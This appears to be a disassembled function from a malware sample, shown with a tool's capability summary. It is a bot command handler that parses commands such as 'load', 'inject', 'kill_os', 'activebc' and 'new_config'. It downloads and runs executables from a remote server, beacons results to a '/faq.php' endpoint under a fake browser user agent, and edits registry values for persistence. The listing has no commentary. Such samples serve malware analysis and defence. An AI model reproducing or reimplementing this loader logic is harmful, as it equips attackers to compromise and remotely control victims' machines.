Function at 0x10013da0
Capabilities:
Create process on windows
Create thread
Delete file
Delete registry value
Get common file path
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x528
push esi
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x10014bd7
push ebx
push edi
lea eax, [ebp - 0x320]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x21c]
push ecx
push 0
push 0
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str._kill_os
push esi
call edi
add esp, 8
test eax, eax
je 0x10013f34
mov eax, dword [str.name]
mov cx, word [0x10049e64]
mov dword [ebp - 0x118], eax
mov eax, str.JOHNDOE_DESKTOPA79TI5D_D5413FD4
mov word [ebp - 0x114], cx
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013e20
lea edi, [ebp - 0x118]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013e30
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x118]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10013e50
mov edx, dword [str.okkill_os]
mov ecx, dword [0x10049e6c]
mov dword [eax], edx
mov edx, dword [0x10049e70]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
jmp 0x10013e80
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013e80
sub eax, edx
mov ebx, eax
call fcn.10001810
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30728__Media_Center_PC_6.0_
test eax, eax
jne 0x10013e9e
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call fcn.10012d20
push 1
push 0
push 1
push ebx
mov esi, eax
lea eax, [ebp - 0x118]
push eax
push 1
push edi
lea ecx, [ebp - 0x21c]
push ecx
push str._faq.php
push 0
mov eax, esi
call fcn.10012dc0
test eax, eax
jne 0x10013ef4
push 1
push eax
push 1
push ebx
lea edx, [ebp - 0x118]
push edx
push 1
push edi
lea eax, [ebp - 0x21c]
push eax
push str._faq.php
push 1
mov eax, esi
call fcn.10012dc0
push 0
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.10011a90
call fcn.10011830
push 0
push 0
push 0x64
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str._activebc
push esi
call edi
add esp, 8
test eax, eax
je 0x10014140
push str._activebc
push esi
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
call esi
lea ebx, [eax + 0xa]
push 0x10049e8c
push ebx
mov dword [ebp - 0xc], eax
call esi
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10014140
push 0x80000002
mov edi, 0x1005befc
mov eax, ebx
mov byte [esi], 0
call fcn.10005fb0
test eax, eax
jne 0x10013f94
push 0x80000001
mov eax, ebx
call fcn.10005fb0
push 0x80000002
mov edi, 0x1005c000
lea eax, [esi + 1]
mov byte [esi], 0x3a
call fcn.10005fb0
test eax, eax
jne 0x10013fba
push 0x80000001
lea eax, [esi + 1]
call fcn.10005fb0
push str.GlobalEAF799BF_8449_4fe1_9A0D_95CD39DC2014
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x10014140
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 6
push str.GlobalEAF799BF_8449_4fe1_9A0D_95CD39DC2014
mov edi, eax
call fcn.10024d70
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10014023
test byte [ebp - 4], 2
jne 0x10014023
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [str.name]
mov dx, word [0x10049e64]
push 0
mov dword [ebp - 0x118], ecx
mov word [ebp - 0x114], dx
call fcn.10003480
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014046
lea edi, [ebp - 0x118]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10014056
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x118]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10014075
mov ecx, dword [str.okactivebc]
mov edx, dword [0x10049e94]
mov dword [eax], ecx
mov ecx, dword [0x10049e98]
mov dword [eax + 4], edx
mov dl, byte [0x10049e9c]
mov dword [eax + 8], ecx
mov byte [eax + 0xc], dl
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100140b0
sub eax, edx
mov ebx, eax
call fcn.10001810
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30728__Media_Center_PC_6.0_
test eax, eax
jne 0x100140ce
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call fcn.10012d20
push 1
push 0
push 1
push ebx
mov esi, eax
lea eax, [ebp - 0x118]
push eax
push 1
push edi
lea ecx, [ebp - 0x21c]
push ecx
push str._faq.php
push 0
mov eax, esi
call fcn.10012dc0
test eax, eax
jne 0x10014124
push 1
push eax
push 1
push ebx
lea edx, [ebp - 0x118]
push edx
push 1
push edi
lea eax, [ebp - 0x21c]
push eax
push str._faq.php
push 1
mov eax, esi
call fcn.10012dc0
push 0
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0xc]
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
push str._deactivebc
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 8
test eax, eax
je 0x100144e6
push 0x103
xor ebx, ebx
lea ecx, [ebp - 0x423]
push ebx
push ecx
mov byte [ebp - 0x424], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 4]
push edx
push 0x102
push ebx
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 4], ebx
xor esi, esi
call edi
test eax, eax
jne 0x100141bf
mov eax, dword [ebp - 4]
push 0x1005befc
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x100141bf
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
or esi, 0xffffffff
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x100141cd
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
jne 0x10014234
push 0x103
lea edx, [ebp - 0x423]
push ebx
push edx
mov byte [ebp - 0x424], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x102
push ebx
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 4], ebx
call edi
test eax, eax
jne 0x10014226
mov ecx, dword [ebp - 4]
push 0x1005befc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x10014226
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x10014234
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x103
lea eax, [ebp - 0x423]
push ebx
push eax
mov byte [ebp - 0x424], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push 0x102
push ebx
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 4], ebx
xor esi, esi
call edi
test eax, eax
jne 0x1001428e
mov edx, dword [ebp - 4]
push 0x1005c000
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x1001428e
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
or esi, 0xffffffff
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x1001429c
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
jne 0x10014303
push 0x103
lea ecx, [ebp - 0x423]
push ebx
push ecx
mov byte [ebp - 0x424], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 4]
push edx
push 0x102
push ebx
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 4], ebx
call edi
test eax, eax
jne 0x100142f5
mov eax, dword [ebp - 4]
push 0x1005c000
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x100142f5
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x10014303
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.GlobalEAF799BF_8249_4fe1_9A0D_92CD3CC22014
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
cmp esi, ebx
je 0x100144e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.10024cd0
test eax, eax
je 0x10014382
push 0
lea edx, [ebp - 8]
push edx
push 1
push str.S:_ML__NRNWNX___LW_
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
je 0x10014382
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x10]
push edx
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorSacl]
test eax, eax
je 0x10014378
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0
push 0
push 0x10
push 6
push str.GlobalEAF799BF_8249_4fe1_9A0D_92CD3CC22014
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoA]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 8]
push eax
push esi
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100143ba
test byte [ebp - 8], 2
jne 0x100143ba
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [str.name]
mov dx, word [0x10049e64]
push 0
mov dword [ebp - 0x118], ecx
mov word [ebp - 0x114], dx
call fcn.10003480
mov edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100143e0
lea edi, [ebp - 0x118]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100143f0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x118]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10014410
mov ecx, dword [str.okdeactivebc]
mov edx, dword [0x10049eb0]
mov dword [eax], ecx
mov ecx, dword [0x10049eb4]
mov dword [eax + 4], edx
mov dx, word [0x10049eb8]
mov dword [eax + 8], ecx
mov cl, byte [0x10049eba]
mov word [eax + 0xc], dx
mov byte [eax + 0xe], cl
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014450
sub eax, edx
mov ebx, eax
call fcn.10001810
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30728__Media_Center_PC_6.0_
test eax, eax
jne 0x1001446e
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call fcn.10012d20
push 1
push 0
push 1
push ebx
lea edx, [ebp - 0x118]
push edx
push 1
mov esi, eax
push edi
lea eax, [ebp - 0x21c]
push eax
push str._faq.php
push 0
mov eax, esi
call fcn.10012dc0
test eax, eax
jne 0x100144c4
push 1
push eax
push 1
push ebx
lea ecx, [ebp - 0x118]
push ecx
push 1
push edi
lea edx, [ebp - 0x21c]
push edx
push str._faq.php
push 1
mov eax, esi
call fcn.10012dc0
push 0
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
mov esi, dword [ebp - 0xc]
push str._load
push esi
call ebx
add esp, 8
test eax, eax
je 0x1001476c
push str._load
push esi
call ebx
lea esi, [eax + 6]
push 0x10045e64
push esi
mov dword [ebp - 0xc], eax
call ebx
add esp, 0x10
test eax, eax
je 0x1001451c
mov byte [eax], 0
add esi, 7
lea edx, [ebp - 0x528]
mov eax, esi
sub edx, esi
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10014530
push 0x10049ec4
push esi
call ebx
mov edi, eax
add esp, 8
test edi, edi
je 0x10014bd5
push 0x10049ec8
push edi
call dword [sym.imp.MSVCRT.dll_strstr]
mov ebx, eax
add esp, 8
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x10014bd5
lea edx, [ebp - 0x320]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x21c]
push eax
push 0
push 0
lea ecx, [ebp - 0x320]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x21c]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100145a0
mov edx, dword [str..exe]
mov cl, byte [0x100456dc]
mov dword [eax], edx
mov byte [eax + 4], cl
call fcn.10001810
mov esi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30728__Media_Center_PC_6.0_
test eax, eax
jne 0x100145cc
mov esi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
push 0
push 0
push 1
push 0
push 0
push 1
push esi
lea edx, [ebp - 0x21c]
push edx
push edi
push 0
lea eax, [ebp - 0x528]
call fcn.10012dc0
test eax, eax
jne 0x10014618
push eax
push eax
push 1
push eax
push eax
push 1
push esi
lea eax, [ebp - 0x21c]
push eax
push edi
push 1
lea eax, [ebp - 0x528]
call fcn.10012dc0
test eax, eax
je 0x10014769
push 5
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x1f
jbe 0x10014769
mov ax, word [0x10049e64]
mov edx, dword [str.name]
push 0
mov dword [ebp - 0x118], edx
mov word [ebp - 0x114], ax
call fcn.10003480
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014652
lea edi, [ebp - 0x118]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10014662
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x118]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10014681
mov ecx, dword [str.okload]
mov edx, dword [0x10049ed0]
mov dword [eax], ecx
mov cl, byte [0x10049ed4]
mov dword [eax + 4], edx
lea edx, [ebp - 0x320]
push edx
push 0x104
mov byte [eax + 8], cl
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x21c]
push eax
push 0
push 0
lea ecx, [ebp - 0x320]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100146d6
sub eax, edx
mov ebx, eax
call fcn.10001810
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30728__Media_Center_PC_6.0_
test eax, eax
jne 0x100146f4
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call fcn.10012d20
push 1
push 0
push 1
push ebx
lea edx, [ebp - 0x118]
push edx
push 1
mov esi, eax
push edi
lea eax, [ebp - 0x21c]
push eax
push str._faq.php
push 0
mov eax, esi
call fcn.10012dc0
test eax, eax
jne 0x1001474a
push 1
push eax
push 1
push ebx
lea ecx, [ebp - 0x118]
push ecx
push 1
push edi
lea edx, [ebp - 0x21c]
push edx
push str._faq.php
push 1
mov eax, esi
call fcn.10012dc0
push 0
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, dword [ebp - 8]
mov byte [ebx], 0x3f
mov esi, dword [ebp - 0xc]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push 0x10049ed8
push esi
call edi
mov ebx, dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
add esp, 8
test eax, eax
je 0x1001494f
push str._inject
push esi
call edi
add esp, 8
lea edx, [ebp - 0x320]
push edx
lea esi, [eax + 8]
push 0x104
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x21c]
push eax
push 0
push 0
lea ecx, [ebp - 0x320]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov eax, esi
lea ecx, [eax + 1]
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100147d0
sub eax, ecx
push eax
push esi
lea eax, [ebp - 0x21c]
call fcn.10005550
call ebx
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
lea esi, [ebp - 0x21c]
call fcn.1000fad0
mov ax, word [0x10049e64]
mov edx, dword [str.name]
push 0
mov dword [ebp - 0x118], edx
mov word [ebp - 0x114], ax
call fcn.10003480
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10014821
lea edi, [ebp - 0x118]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10014833
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x118]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10014850
mov ecx, dword [str.okinject]
mov edx, dword [0x10049ef0]
mov dword [eax], ecx
mov cx, word [0x10049ef4]
mov dword [eax + 4], edx
mov dl, byte [0x10049ef6]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
lea eax, [ebp - 0x320]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x21c]
push ecx
push 0
push 0
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100148b0
sub eax, edx
mov ebx, eax
call fcn.10001810
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30728__Media_Center_PC_6.0_
test eax, eax
jne 0x100148ce
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call fcn.10012d20
push 1
push 0
push 1
push ebx
mov esi, eax
lea eax, [ebp - 0x118]
push eax
push 1
push edi
lea ecx, [ebp - 0x21c]
push ecx
push str._faq.php
push 0
mov eax, esi
call fcn.10012dc0
test eax, eax
jne 0x10014924
push 1
push eax
push 1
push ebx
lea edx, [ebp - 0x118]
push edx
push 1
push edi
lea eax, [ebp - 0x21c]
push eax
push str._faq.php
push 1
mov eax, esi
call fcn.10012dc0
push 0
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov esi, dword [ebp - 0xc]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str._new_config
push esi
call edi
add esp, 8
test eax, eax
je 0x10014bd5
push str._new_config
push esi
call edi
mov esi, eax
add esp, 8
add esi, 0xc
je 0x10014bd5
inc esi
push 0x1005b5d8
mov eax, esi
call fcn.10012be0
push 0
push 0
push 0
push 0x10013760
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
test edi, edi
je 0x100149c3
lea eax, [ebp - 8]
push eax
push edi
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100149c3
test byte [ebp - 8], 2
jne 0x100149c3
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1004999c
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
je 0x10014bd5
mov edi, dword [sym.imp.MSVCRT.dll_atoi]
inc esi
push esi
call edi
add esp, 4
lea ecx, [ebp - 4]
push ecx
push 0x20106
push 0
push str.softwaremicrosoft
mov dword [ebp - 8], eax
call ebx
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10014a40
push 4
lea edx, [ebp - 8]
push edx
push 4
push eax
mov eax, dword [ebp - 4]
push 0x1005cf3c
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1004999c
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10014bd5
inc eax
push eax
call edi
add esp, 4
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x20106
push 0
push str.softwaremicrosoft
call ebx
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10014ab5
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push eax
push 0x1005d040
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ax, word [0x10049e64]
mov edx, dword [str.name]
push 0
mov dword [ebp - 0x118], edx
mov word [ebp - 0x114], ax
call fcn.10003480
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014ad7
lea edi, [ebp - 0x118]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10014ae7
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x118]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10014b06
mov ecx, dword [str.oknew_config]
mov edx, dword [0x10049f08]
mov dword [eax], ecx
mov ecx, dword [0x10049f0c]
mov dword [eax + 4], edx
mov dx, word [0x10049f10]
mov dword [eax + 8], ecx
mov cl, byte [0x10049f12]
mov word [eax + 0xc], dx
mov byte [eax + 0xe], cl
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014b45
sub eax, edx
mov ebx, eax
call fcn.10001810
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30728__Media_Center_PC_6.0_
test eax, eax
jne 0x10014b63
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call fcn.10012d20
push 1
push 0
push 1
push ebx
lea edx, [ebp - 0x118]
push edx
push 1
mov esi, eax
push edi
lea eax, [ebp - 0x21c]
push eax
push str._faq.php
push 0
mov eax, esi
call fcn.10012dc0
test eax, eax
jne 0x10014bb9
push 1
push eax
push 1
push ebx
lea ecx, [ebp - 0x118]
push ecx
push 1
push edi
lea edx, [ebp - 0x21c]
push edx
push str._faq.php
push 1
mov eax, esi
call fcn.10012dc0
push 0
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret